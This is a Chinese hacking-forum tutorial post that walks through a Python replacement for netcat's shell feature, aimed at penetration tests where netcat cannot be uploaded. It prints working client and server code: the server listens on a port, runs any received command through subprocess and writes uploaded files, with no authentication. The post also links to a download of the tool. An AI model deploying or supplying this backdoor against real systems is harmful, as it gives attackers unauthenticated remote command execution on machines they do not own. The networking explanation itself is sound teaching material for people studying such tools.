[工具使用] python小工具学习连载-取代瑞士军刀

343 1
HK.JH 2022-2-12 21:55:02 来自手机 | 显示全部楼层 |阅读模式
本帖最后由 HK.JH 于 2022-2-12 21:56 编辑

python小工具学习连载
-取代瑞士军刀-
netcat被誉为网络安全届的瑞士军刀,相信没有什么人不认识他吧,他是一个简单而有用的工具,通过tcp或upd协议的网络连接去读取数据。它被设计成为一个稳定的后门工具,能够直接由其他的程序或脚本驱动,同时,他也是一个功能强大的网络调试和探测工具,能够建立你需要的机会所有类型的网络连接。而相信,在我们的日常工作中,最常用的便是nc的shell功能。但是在实际的渗透测试环境,有时候我们无法上传瑞士军刀,那么如何去使用shell功能呢,这里就给大家分享一个python脚本,可以完美替代瑞士军刀的shell功能。

工具效果

我们在服务器上开启端口监听9999

攻击机尝试连接服务器端口并执行命令以及尝试上
命令成功执行、文件成功上传
实现原理
其实这个工具的实现原理还是较为简单的,如果学习过网络编程,那么肯定一眼就能看懂这个工具是如何实现的,其实就是我们在服务器端开始了一个tcp服务器,然后在攻击机上开启了一个tcp的客户端,用这个客户端去尝试连接服务器并发送信息,服务器通过接受客户端发送的信息,判断客户端要进行什么操作,是文件上传,还是操作系统的命令执行等。

我们还是来看代码,首先在main函数中,设置了判断传入的参数中是否有target,如果有target参数,那么代表着要进行的是客户端的操作,那么就会启动客户端的函数client_sender(),否则则证明的是要进行服务器端操作,启动服务器端函数server_loop()。

    # 判断是听还是发送数据
    if not listen and len(target) and port > 0:
        # 从命令行读取内存数据
        client_sender()
    if listen:
        server_loop()
好了,我们现在来看客户端是如何操作的。

首先,我们创建一个客户端的socket连接,这里主要有两个参数

参数一:family 指定应用程序使用的通信协议的协议族,对于TCP/IP协议族,该参数为AF_INET,以下为该参数的一些常用选项

Family参数        描述
socket.AF_UNIX        只能够用于单一的Unix系统进程间通信
socket.AF_INET        服务器之间网络通信(ipv4)
socket.AF_INET6        IPv6
参数二:type 是要创建套接字的类型,以下为该参数的一些常用选项

Type参数        描述
socket.SOCK_STREAM        流式socket , 当使用TCP时选择此参数
socket.SOCK_DGRAM        数据报式socket ,当使用UDP时选择此参数
socket.SOCK_RAW        原始套接字,普通的套接字无法处理ICMP、IGMP等网络报文,而SOCK_RAW可以;其次,SOCK_RAW也可以处理特殊的IPv4报文;此外,利用原始套接字,可以通过IP_HDRINCL套接字选项由用户构造IP头。
可见,我们建立的是一个ipv4的tcp连接的客户端。然后我们尝试去连接到我们的目标服务器,连接完成之后呢,我们首先循环接受从服务器发送来的信息,直到发送完成。这里有一个recv函数,他代表的是数据缓冲区的大小,也就是一次我们可以从服务器接受多少字节的信息,然后循环接受,直到数据接完毕。

然后将服务器发送给我们的信息打印出来,等待我们输入新的命令,而这里如果我们需要上传文件,根据我们定义的上传命令upload_file=,那么就会在我们输入的字符串中寻找后这个字符串,如果找到了,那么将这个字符串用等号分割开来,假如我们输入了upload_file=test.txt,那么将会返回一个列表,['upload_file','test.txt'],而我们需要的是文件的路径,所以只需要选择列表中的第二个值即可。

因为我们的客户端与服务器端发送数据是以bytes的形式进行发送,而我们input输入的是字符串,所以这里还要通过bytes()函数进行数据类型的转换,这样才能成功的将我们的数据发送给服务器。

好了,这里总结一下客户端进行的流程

创建socket连接->尝试连接目标主机->接受服务器发送的信息->用户输入要发送的信息->将用户输入的内容发送给服务器->接受服务器发送的信息....

def client_sender():

    # 创建socket连接
    client = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    try:
        # 尝试连接到目标主机
        client.connect((target,port))
        while True:
            recv_len = 1
            response = bytes("",encoding="utf-8")

            while recv_len:
                data = client.recv(4096)
                recv_len = len(data)
                response += data
                if recv_len < 4096:
                    break
            
            print(response)

            # 等待更多输入
            buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
            buffer = bytes(buffer,encoding="utf-8")

            # 客户端发送数据
            client.send(buffer)
    except:
        print("程序执行错误或用户主动退出!")
然后我们来看服务器端。服务器端首先判断监听的ip,然后创建一个socket,将这个socket和我们的服务器ip、端口所绑定,开始监听是否有客户端想要与我们的服务器建立连接,如果收到了,那么创建一个新的线程,并将这个客户端的socket交给client_handler这个函数去运行。

def server_loop():
    global target

    # 如果没有定义目标,那么要监听所有
    if not len(target):
        target = "0.0.0.0"

    # 创建socket连接
    server = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    server.bind(((target,port)))

    server.listen(5)

    while True:
        client_socket,addr = server.accept()
        # 给一个线程用来处理新的客户端
        client_thread = threading.Thread(target=client_handler,args=(client_socket,))
        client_thread.start()
        
然后看服务器用来处理客户端连接的函数。我们首先回看一下客户端的运行流程,与服务器端的连接已经建立完成了,那么客户端现在是在等待我们的服务器给他发送消息,好了,那我们首先给客户端发送消息,告诉他连接已经建立成功。然后就是我们的shell了,客户端在收到服务器发送的消息后,就会提示用户输入内容,并且发送给我们的服务器,那么我们现在服务器就应该在接受客户端发送的消息,ok,知道了这个,我们首先在循环中,接受客户端发送的消息。

而在这个地方就需要进行一个判断了,我们的客户端到底是想要干什么?他是想执行系统的命令呢,还是很想要上传文件呢?我们回头看客户端如果是上传文件,会发送什么给服务器。

这是客户端处理上传文件时的代码,假如我们上传了一个test.txt文件,我们可以看到buffer这个变量,首先他是uplaod_file=test.txt,然后在读取到这个文件之后,他变成了upload_file=test.txt,file_msg=文件内容,所以这个就是我们上传文件时发送给服务器端到内容。

buffer = input("> ")
            if 'upload_file=' in buffer:
                f = open(buffer.split('=')[1],'r')
                buffer += ',file_msg='
                buffer += f.read()
                f.close()
            buffer += '\n'
ok回到我们的服务器,我们该如何处理这个语句呢,我们首先肯定还是判断uplaod_file=这个字符串是否存在于我们服务器接受到的内容中,这里需要注意一下,因为我们服务器收到内容之后,他是bytes的形式,而这里我们需要的是字符串,所以还需要进行一下类型转换。然后我们要判断,那些是文件名、那些内容是文件中的数据。

这里首先我们将字符串以=分割,那么就变成了['upload_file','test.txt,file_msg','文件信息']可以看到此时文件的内容已经出来了,也就是第三个数据,而文件名这里却还需要进行一下分割,再次以“,”来进行分割,成功获取到了我们的文件名。这样,我们就可以像文件中写东西了。但是,要知道,我们收到的数据类型是bytes,我们使用str()函数虽然成功将其转换为字符串,但是还是存在问题,他会是文件内容\n'的形式,所以我们还需要去掉文件内容中头部的的最后3个字符,这样才能正确的写入我们的文件当中。

而如果是命令执行呢,python中执行系统命令的方式还是很多的,这里我采用subprocess库的方式进行系统命令的执行,并且将执行的结果以bytes的方式返回,最后将其发送给客户端即可。然后客户端接受到服务器的数据,便开始了下一次的要求用户输入内容。

而服务器的具体工作流程如下:

创建socket并绑定->接受客户端连接请求->发送连接成功信息->接受客户端发送信息->处理->处理结果发送给客户端。

def client_handler(client_socket):
    global upload
    global command
   
    client_socket.send(bytes("connect success!",encoding="utf-8"))
    while True:
        cmd_buffer = bytes("",encoding="utf-8")
        while b"\n" not in cmd_buffer:
            cmd_buffer+=client_socket.recv(4096)
        if 'upload_file=' in str(cmd_buffer):
            upload_file = str(cmd_buffer).split('=')[1].split(',')[0]
            f = open(upload_file,'w')
            f.write(str(cmd_buffer).split('=')[2][0:-3])
            f.close()
            response = bytes('upload success!',encoding='utf-8')
        else:
            # 返还命令输出
            response = run_command(cmd_buffer)
        # 返回响应数据
        client_socket.send(response)
最后,再对服务器端和客户端整体工作流程进行一下梳理

服务器创建socket、客户端创建socket->服务器与客户端进行连接->服务器向客户端发送连接成功信息->客户端要求用户输入执行的命令并发送给服务器->服务器收到客户端的命令将其处理,并将结果发送给客户端->客户端收到上一次命令的执行结果,要求用户输入执行的命令

工具下载链接: https://pan.baidu.com/s/1t-NEpLMO4Hl86sbnwi9WZg 提取码: q667
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2025 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行